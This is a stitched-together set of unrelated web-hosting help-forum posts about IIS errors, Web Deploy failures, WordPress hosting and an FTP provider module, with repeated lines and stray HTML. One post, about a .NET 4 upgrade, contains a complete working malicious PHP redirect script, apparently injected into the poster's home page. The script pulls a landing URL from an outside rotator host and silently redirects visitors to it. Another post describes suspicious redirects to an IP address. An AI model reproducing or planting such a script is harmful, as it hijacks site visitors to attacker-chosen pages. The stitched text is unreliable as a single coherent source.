I started facing this issue all of a sudden in my SharePoint environment.
Cant figure out what & where should I start from.
Lots of errors are appearing in the event viewer and mostly misleading.
I started facing this issue all of a sudden in my SharePoint environment.
Cant figure out what & where should I start from.
Lots of errors are appearing in the event viewer and mostly misleading.
Hello everyone:
Environment: Windows Server 2012, IIS 8.0
I am trying to set up a new web site and when I try http://localhost:8080/geoserver/ in the browser I get:
Module | IIS Web Core |
---|---|
Notification | MapRequestHandler |
Handler | StaticFile |
Error Code | 0x80070002 |
Requested URL | http://localhost:8080/geoserver/ |
---|---|
Physical Path | C:\Program Files\GeoServer\geoserver\ |
Logon Method | Anonymous |
Logon User | Anonymous |
The default web site is working fine.
The index.html is under the path C:\Program Files\GeoServer\webapps\geoserver
The physical path is C:\Program Files\GeoServer
Any help will be appreciated.
Thank you
JJ
Hi,
i want to upgrade my site from .NET 2 to 4.
1. fixed the web.config to meet 4 requirements
2. set IIS for the website to .NET 4
3. compiled all components to 4
now all the pages of the site are working except the Home Page which returns a strange PHP error: "0, 'url'=>$default_url); if ($settings['last']"
*on the below the full view source
anyone knows what seems to be the problem and how to fix it?
Many Thanks,
Assaf.
<?php | |
############################################################################ | |
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. # | |
# The script must be in the folder prochmodenoy at 777. this is important!.# | |
############################################################################ | |
$geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг | |
$timeout=120; #Время обновления (в секундах) | |
$default_url='http://www.google.com/robots.txt'; | |
if (!$geturl) | |
exit(); | |
#Если есть файлик данных, читаем его, иначе сливается трафик на default_url в том случае, если обноиться с экспортного урла не получится. | |
$tmp_settings = sys_get_temp_dir() . "/settings.json"; | |
$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0, 'url'=>$default_url); | |
if ($settings['last']<time()-$timeout) | |
{ | |
if ($settings['url']=file_get_contents($geturl)) | |
{ | |
$settings['last']=time(); | |
$fp=fopen($tmp_settings, 'w'); | |
flock($fp, LOCK_EX); | |
fputs($fp, serialize($settings)); | |
flock($fp, LOCK_UN); | |
fclose($fp); | |
} | |
} | |
$url=$settings['url']?$settings['url']:$default_url; | |
if(substr($url, 0, 4)!='http') | |
$url="http://".$url."/"; | |
header("Location: $url"); | |
exit(); | |
?> |
Hello,
There is an option to allow IIS Manager users to be used for authentication to FTP site for file upload/download. My understanding creating those users with RW permissions to specific site/folder also means that they remotely connect to IIS and actually administer it as well which is obviously not intended consequence if it's true. So is my understanding is correct?
G
Hi,
I am developing an ASP.NET program that opens an Excel file in the back-ground. It worked on IIS Express, however when I switch to Local IIS, I get an error "Cannot Create ActiveX component" , looks like the IIS server requires additional config for this to work?
Works on IIS Express but not Local IIS
For my azure website (ASP.NET and C#) I am creating a image based on some coordinates, but the problem I'm having is that, once the image is deployed into azure website the lines on the image look thicker that on my localhost website.
By the way, the code that creates the image is the same, I don't make any change before moving the code to azure.
I won't paste the code because it's too large to paste it here. It does and calculates a lot of things.
Any suggestion you could give me?
( Don't know how to upload the images to this post, If I could I would! )
Thanks in advance
When I visit
http://mydomain.com I sometimes get redirected to:
https://xxx.xxx.xxx.xxx/html/pub/redirect.asp?origin=aHR0cHM6Ly9zY3Jld2JhbGxzdHVkaW9zLmNvLnVrLw==
I've looked at the sites web.config - nothing suspicious there. I've also looked at the IIS8 Manager and checked the HTTP redirect settings and they are all completely unused. I've looked at my DNS both internal and external, there are no CNAMES or re-directs
anywhere.
I'm running WordPress 4.2.2. Other sites on the same server are fine.
Can anyone offer any insight at to what I might be overlooking? Many thanks :)
Hi
I had a Windows 2012 VM on Azure to which I would publish my ASP.NET application remotely. For certain reasons, I had to decommission that VM so I took an image and created a new VM on Azure from that image. Everything works fine including the web app as it had been last deployed.
However when I try to publish to the new VM, I get the following error:
Web deployment task failed. (Could not complete the request to remote agent URL 'https://myserver:8172/msdeploy.axd?site=Default Web Site'.) This error indicates that you cannot connect to the server. Make sure the service URL is correct, firewall and network settings on this computer and on the server computer are configured properly, and the appropriate services have been started on the server. Error details: Could not complete the request to remote agent URL 'https://myserver:8172/msdeploy.axd?site=Default Web Site'. The underlying connection was closed: An unexpected error occurred on a send. Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host. An existing connection was forcibly closed by the remote host
So went to the server and tried to connect to my Default Web Site locally by going to IIS Manager > Right-click Start Page > Connect to a Site... > Provided server name, site name and credentials and got this error:
Could not Connect to the Specified Computer Details: The underlying connection was closed. An unexpected error occured on a send.
The Event Viewer shows 2 errors repeated twice. These are:
An error occurred while using SSL configuration for endpoint 0.0.0.0:8172. The error status code is contained within the returned data.
and
A fatal error occurred when attempting to access the SSL server credential private key. The error code returned from the cryptographic module is 0x8009030D. The internal error state is 10001.
This leads me to believe that The Management Service (WMSVC) certificate is invalid as it had been issued for the previous VM. Going to the Certificates MMC, I find that under personal certificates there are 3 certificates listed. One is issued to the old VM dns name. One is issued to the new VM dns name. And one is issued to WMSVC-{Old VM DNS prefix}. So I think that as part of creating a VM from the old VM image, the OS created a new authentication certificate for the new VM, but not a new VMSVC certificate. I would like to know:
Thanks in advance
Zawar
Hi,
My team uses Web Deploy in order to deploy updates to our website on to our production server. The last few days I've been doing some housekeeping and have changed my password (which I made sure to update in my Web Deploy configuration) and moved the solution
for our website to a different location in TFS. I'm not sure which (if either) of these has caused the issue, but I am now no longer able to publish our website using Web Deploy.
I can preview the publish fine, but I can't actually publish it.
The Output in Visual Studio shows this:
Start Web Deploy Publish the Application/package to https://[REDACTED]:8172/msdeploy.axd?site=[REDACTED] ...
C:\Program Files (x86)\MSBuild\Microsoft\VisualStudio\v12.0\Web\Microsoft.Web.Publishing.targets(4270,5): Error ERROR_COULD_NOT_CONNECT_TO_REMOTESVC: Web deployment task failed. (Could not connect to the remote computer ("[REDACTED]") using the specified process
("Web Management Service") because the server did not respond. Make sure that the process ("Web Management Service") is started on the remote computer. Learn more at: http://go.microsoft.com/fwlink/?LinkId=221672#ERROR_COULD_NOT_CONNECT_TO_REMOTESVC.)
Publish failed to deploy.
(Note that I've removed some identifying information from this log, which has been replaced with '[REDACTED]')
I found a page describing this issue here: http://www.iis.net/learn/publish/troubleshooting-web-deploy/troubleshooting-web-deploy-problems-with-visual-studio
It says to check in the WMSvc log to find the status and substatus codes for further troubleshooting.
Here I've colour coded lines relating to the preview in green and lines relating to the actual publish in red. As you can see, the requests returned with a 200 (OK) status, meaning the server is not aware of any error occuring. However Visual Studio reports
a failure and my production website has not been updated.
The fact that log entries are generated tells me that Web Deploy is properly installed and the handler is setup correctly.
It seems the deploy always fails after ~30 seconds. This could be coincidence, but I'm wondering if there's a timeout at play.
Could anyone suggest further troubleshooting steps?
Thanks,
Josh
Need help with IIS, I think.
Want to run wiki in LAN. So on one server in network (Win Srv 2008 R2) installed MySQL 5.5, PHP 5.5, phpMyAdmin (newest) and of course IIS as role. Everything configured and tested - work. Then copied MediaWiki to C\inetpub\wwwroot - and tested - work. Tested also on other computers in network by typing url http://<ip_IIS_svr>/mediawiki - configuration page loaded - good. Than problems appeared:
Started mediawiki wizard and configured all steps. In the end Wiki is loading only on IIS server - locally. Page is no longer accessible by LAN. PhpMyAdmin is still available when use from any pc and type urlhttp://<ip_IIS_srv>/phpmyadmin and it's working properly. When I typehttp://<ip_IIS_srv>/fresenica (changed wiki name while wizard processing) page is not loading, but I can see url has changed tohttp://localhost/fresenica/index.php?title=Main page - so it means Main Page is trying to load.
Can anybody help? Sorry If I copied already existing topic - if exist, please redirect me there. Thanks in advance to all reply.
In Visual Studio 2013 I am attempting to File Publish my website project to a remote web server. I am getting the following error:
C:\Program Files\MSBuild\Microsoft\VisualStudio\v12.0\Web\Transform\Microsoft.Web.Publishing.AspNetCompileMerge.targets(720,5): Error MSB3231: Unable to remove directory "obj\Release\AspnetCompileMerge\TempBuildDir". Access to the path 'AdditionalPhotos.aspx' is denied.
I have tried cleaning and rebuilding, with no luck. Restarting VS did not help. I checked the permissions on the directory and file referenced in the error and Windows Explorer would not let me see the file and folder permissions (You do not have permission to view or edit this object's permission settings.) The project is stored on a network drive, and I am administrator of that drive, so I'm not sure why I can't see permissions there.
Any ideas as to how to get around this issue? Thanks for your help!
Need help troubleshooting server 2012 IIS 8.0 website display problem.
Server has been running an old html website successfully.
Need to upgrade website, we have already designed a new website with wordpress 4.2.3 and have it on a laptop in Webmatrix 3, we will migrate this to the server once the server seems to be working with wordpress correctly.
We installed wordpress 4.2.3 on the server 2012 IIS 8.0 and it seems to work on the server when we login into localhost/wp-admin, in wordpress we configured a static home page to test, and it displays correctly while logged in. But if we use a web browser like IE or Mozilla to access the webpage it does not display the active wordpress theme and formatting, looks just like an old html text page.
I do not know if this has to do with SQL or pnp not working correctly?
Has anyone had any success using IIS 8.0 to host wordpress 4.2.3 websites?
I have some Self-Hosted WCF services I need to move to a server under IIS 7
Each of the services target .net 4.5.2 and for each...
The host is a console application, and the service is a class library.
Do I need to make any changes to the class library (.DLL) before moving it to the server?
Thanks,
I have to install Web Deploy for my intranet server (It is Window Server 2012 R2, and No internet access from this computer). To install it, I need offline installer of both Web Deploy 3.5 and Web Deploy 3.5 for Hosting Servers. I can find only an installer for Web Deploy 3.5 in the http://www.iis.net/downloads, but not Web Deploy 3.5 for Hosting Servers.
Where can I find it?
Thank you.
I'm trying to use the MSDeploy with DbDacFx to synchronize my database to a VM, both running SQL Server 2008 R2. My computer is running Windows 8.1 Pro and the VM is running Windows Server 2008 R2.
When using the command line:
msdeploy.exe -verb:sync -source:dbDacFx="Data Source=localhost;Database=dbName;User ID=userid;Password=password" -dest:dbDacFx="Data Source=COMPUTERNAME;Database=dbName2;User ID=userId;Password=Password" -allowuntrusted -debug
the following error message is thrown
Error: Exception has been thrown by the target of an invocation. Error: Table with schema "dbo" and name "dtproperties" was specified for data import or export, but does not exist in the database schema. Error count: 1
The full stack trace is here:
Does anyone know why this could be happening?
Hello
I have created a basic asp.net [.Net framework 2.0] application and want to Host through my computer over the network.
I have admin privileges. I have configured it over IIS 7.5 and its working on my computer but not opening on other computers over the same domain.
Can someone help me troubleshoot.
Thanks in Advance
I want to extend a IIS 8 (on Windows 2012) web site using IIS FTP Extensibility. I want this custom module to copy every uploaded file to Amazon S3.
I followed this blog post:
http://www.microsoftbob.com/2012/04/default.aspx
And created a .NET 4.0 class library with a class which implements IFtpPostprocessProvider. Then I registered this assembly (along with its dependency assemblies) to GAC. Then I used the below commands to register it with my FTP site (called myftp)
appcmd.exe set config -section:system.ftpServer/providerDefinitions /+"[name='DT.CI.FTP',type='DT.CI.FTP.S3PostProcessProvider,DT.CI.FTP,version=1.0.0.0,Culture=neutral,PublicKeyToken=25c1550c268412f4']" /commit:apphost
appcmd.exe set config -section:system.ftpServer/providerDefinitions /+"activation.[name='DT.CI.FTP']" /commit:apphost
I then double checked the applicationHost.config file and it seems like this:
<system.ftpServer>
<providerDefinitions>
<add name="DT.CI.FTP" type="DT.CI.FTP.S3PostProcessProvider,DT.CI.FTP,version=1.0.0.0,Culture=neutral,PublicKeyToken=25c1550c268412f4" />
<activation>
<providerData name="DT.CI.FTP" />
</activation>
</providerDefinitions>
<site name="myftp" id="3">
<application path="/">
<virtualDirectory path="/" physicalPath="c:\temp\ftp" />
</application>
<bindings>
<binding protocol="ftp" bindingInformation="*:21:" />
</bindings>
<ftpServer>
<security>
<ssl controlChannelPolicy="SslAllow" dataChannelPolicy="SslAllow" />
<authentication>
<anonymousAuthentication enabled="true" />
<basicAuthentication enabled="true" />
</authentication>
</security>
<logFile logExtFileFlags="UserName, Method, Win32Status, ServerPort, FtpSubStatus, FullPath" />
<customFeatures>
<providers>
<add name="DT.CI.FTP" enabled="true" />
</providers>
</customFeatures>
</ftpServer>
</site>
In my custom provider's code I have placed a lot of logs which must be come up in Windows event log. Unfortunately when I connect to the FTP server u sing FileZilla and copy files , the provider does not do anything. It does not copy the files to S3 and it does not log any events in Event Logs.
Is it OK to use .NET 4 for such a custom provider? Here is the code I have written:
public class S3PostProcessProvider : IFtpPostprocessProvider { const string StoreFtpCommand = "STOR"; const string eventLogSource = "MyCustomProvider"; const string S3AccessKey = "-"; const string S3SecretKey = "-"; const string S3BucketName = "bucket"; const string S3RegionName = "ap-southeast-2"; const string S3ProviderRootDir = "providers"; public FtpProcessStatus HandlePostprocess(FtpPostprocessParameters postProcessParameters) { if (!EventLog.SourceExists(eventLogSource)) { EventLog.CreateEventSource(eventLogSource, "Application"); } EventLog.WriteEntry(eventLogSource, string.Format("Event was raised for user='{0}', file={1}, Command={2}, Status={3}" , postProcessParameters.UserName, postProcessParameters.FullPath, postProcessParameters.Command, postProcessParameters.FtpStatus)); if (string.Compare(postProcessParameters.Command, StoreFtpCommand, true) == 0) { EventLog.WriteEntry(eventLogSource, "STOR command was detected."); // Check if the command was successful // https://support.microsoft.com/en-us/kb/969061 if (postProcessParameters.FtpStatus >=200 && postProcessParameters.FtpStatus <300) { EventLog.WriteEntry(eventLogSource, string.Format("Begin copying file {0}", postProcessParameters.FullPath)); CopyFileToS3(postProcessParameters.UserName, postProcessParameters.FullPath); } else { // Log error } } return FtpProcessStatus.FtpProcessContinue; }
I am trying to use msdeploy (v3.6) on a Windows 10 Pro system. There is no default/built-in administrator account. I am trying to use a local administrator account but this doesn't work (ERROR_USER_NOT_ADMIN). I created the group MSDepSvcUsers and added the local account but received the same error. Since there is no built-in admin account how does one use web deploy? Obviously I can't use a non-admin account since Web Management Service does not install on client SKU systems.
Builds and Runs fine on local IIS
but when deployed to a Framework 4 server it thows this error.
I've tried deploying from VS 2013, same error
MVC Application, I already confirmed with AsmSpy that NO DLLs are calling beyond 4.0 framework
THANKS!
Pat NH USA
Could not load type 'System.Runtime.CompilerServices.ExtensionAttribute' from assembly 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.TypeLoadException: Could not load type 'System.Runtime.CompilerServices.ExtensionAttribute' from assembly 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'.
Source Error:
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.
Stack Trace:
[TypeLoadException: Could not load type 'System.Runtime.CompilerServices.ExtensionAttribute' from assembly 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'.]
System.ModuleHandle.ResolveType(RuntimeModule module, Int32 typeToken, IntPtr* typeInstArgs, Int32 typeInstCount, IntPtr* methodInstArgs, Int32 methodInstCount, ObjectHandleOnStack type) +0
System.ModuleHandle.ResolveTypeHandleInternal(RuntimeModule module, Int32 typeToken, RuntimeTypeHandle[] typeInstantiationContext, RuntimeTypeHandle[] methodInstantiationContext) +180
System.Reflection.RuntimeModule.ResolveType(Int32 metadataToken, Type[] genericTypeArguments, Type[] genericMethodArguments) +192
System.Reflection.CustomAttribute.FilterCustomAttributeRecord(CustomAttributeRecord caRecord, MetadataImport scope, Assembly& lastAptcaOkAssembly, RuntimeModule decoratedModule, MetadataToken decoratedToken, RuntimeType attributeFilterType,
Boolean mustBeInheritable, Object[] attributes, IList derivedAttributes, RuntimeType& attributeType, IRuntimeMethodInfo& ctor, Boolean& ctorHasParameters, Boolean& isVarArg) +115
System.Reflection.CustomAttribute.GetCustomAttributes(RuntimeModule decoratedModule, Int32 decoratedMetadataToken, Int32 pcaCount, RuntimeType attributeFilterType, Boolean mustBeInheritable, IList derivedAttributes, Boolean isDecoratedTargetSecurityTransparent)+426
System.Reflection.CustomAttribute.GetCustomAttributes(RuntimeAssembly assembly, RuntimeType caType) +103
System.Reflection.RuntimeAssembly.GetCustomAttributes(Type attributeType, Boolean inherit) +64
WebActivator.AssemblyExtensions.GetActivationAttributes(Assembly assembly) +113
WebActivator.ActivationManager.RunActivationMethods() +216
WebActivator.ActivationManager.RunPreStartMethods() +28
WebActivator.ActivationManager.Run() +55
[InvalidOperationException: The pre-application start initialization method Run on type WebActivator.ActivationManager threw an exception with the following error message: Could not load type 'System.Runtime.CompilerServices.ExtensionAttribute' from assembly
'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'..]
System.Web.Compilation.BuildManager.InvokePreStartInitMethods(ICollection`1 methods) +423
System.Web.Compilation.BuildManager.CallPreStartInitMethods() +306
System.Web.Hosting.HostingEnvironment.Initialize(ApplicationManager appManager, IApplicationHost appHost, IConfigMapPathFactory configMapPathFactory, HostingEnvironmentParameters hostingParameters, PolicyLevel policyLevel, Exception appDomainCreationException)+677
[HttpException (0x80004005): The pre-application start initialization method Run on type WebActivator.ActivationManager threw an exception with the following error message: Could not load type 'System.Runtime.CompilerServices.ExtensionAttribute' from assembly
'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'..]
System.Web.HttpRuntime.FirstRequestInit(HttpContext context) +9173056
System.Web.HttpRuntime.EnsureFirstRequestInit(HttpContext context) +97
System.Web.HttpRuntime.ProcessRequestInternal(HttpWorkerRequest wr) +258
Microsoft Visual Studio Enterprise 2015
Version 14.0.23107.0 D14REL
Microsoft .NET Framework
Version 4.6.00081
Installed Version: Enterprise
Architecture and Modeling Tools 00322-80000-00000-AA783
Microsoft Architecture and Modeling Tools
UML® and Unified Modeling Language™ are trademarks or registered trademarks of the Object Management Group, Inc. in the United States and other countries.
Visual Basic 2015 00322-80000-00000-AA783
Microsoft Visual Basic 2015
Visual C# 2015 00322-80000-00000-AA783
Microsoft Visual C# 2015
Visual C++ 2015 00322-80000-00000-AA783
Microsoft Visual C++ 2015
Application Insights Tools for Visual Studio Package 1.0
Application Insights Tools for Visual Studio
ASP.NET and Web Tools 14.0.20626.0
ASP.NET and Web Tools
ASP.NET Web Frameworks and Tools 2013 5.2.30624.0
For additional information, visit http://www.asp.net/
Common Azure Tools 1.5
Provides common services for use by Azure Mobile Services and Microsoft Azure Tools.
GenerateUnitTest 1.0
Generates unit test code for methods in classes under test.
JetBrains ReSharper Ultimate 2015.1.3 Build 102.0.20150724.141603
JetBrains ReSharper Ultimate package for Microsoft Visual Studio. For more information about ReSharper Ultimate, visithttp://www.jetbrains.com/resharper. Copyright © 2015 JetBrains, Inc.
Microsoft Azure Mobile Services Tools 1.4
Microsoft Azure Mobile Services Tools
Microsoft Code Digger 0.9
Microsoft Code Digger
Microsoft.Pex.VisualStudio 1.0
Pex
NuGet Package Manager 3.0.0
NuGet Package Manager in Visual Studio. For more information about NuGet, visit
http://docs.nuget.org/.
PreEmptive Analytics Visualizer 1.2
Microsoft Visual Studio extension to visualize aggregated summaries from the PreEmptive Analytics product.
SQL Server Data Tools 14.0.50616.0
Microsoft SQL Server Data Tools
TestDriven.Net 3
TestDriven.Net
Pat Tormey PE MVP, Client App Dev, NH USA
</div><input id="09dbf43f-7fa6-4f23-86b5-1d9e63aff53f_attachments" type="hidden" value="" />
<div class="messageFooter"> <div class="actions"> <div class="date">Sunday, August 16, 2015 1:44 PM</div> </div> </div>I've been given the task of making some changes to an existing website and now wish to publish it. This is an Intranet website, so it's on one of our servers. It's a Windows Server 2008 R2 server. I've installed Web Deploy 3.5 on the server. I'm trying to publish from Visual Studio 2013 with Update 5.
When I try to publish to the website I get the following error:
Connected to the remote computer ("ourserver") using the Web Management Service, but could not authorize. Make sure that you are using the correct user name and password, that the site you are connecting to exists, and that the credentials represent a user who has permissions to access the site. Learn more at:http://go.microsoft.com/fwlink/?LinkId-221672#ERROR_USER_UNAUTHORIZED. The remote server return an error: (401) Unauthorized.
I'm trying to publish to that server using my own Windows credentials. I have admin rights on that server. I've triple checked that I've entered by credentials correctly (with and without specifying the domain). I certainly have access to the site. (At least I do if I go through the C$\INetPub\wwwroot\OurSite route.) I've even added my domain account to the IIS Manager Permissions in IIS on the server. So I don't know what more I'm missing/leaving out. I could use some help, please.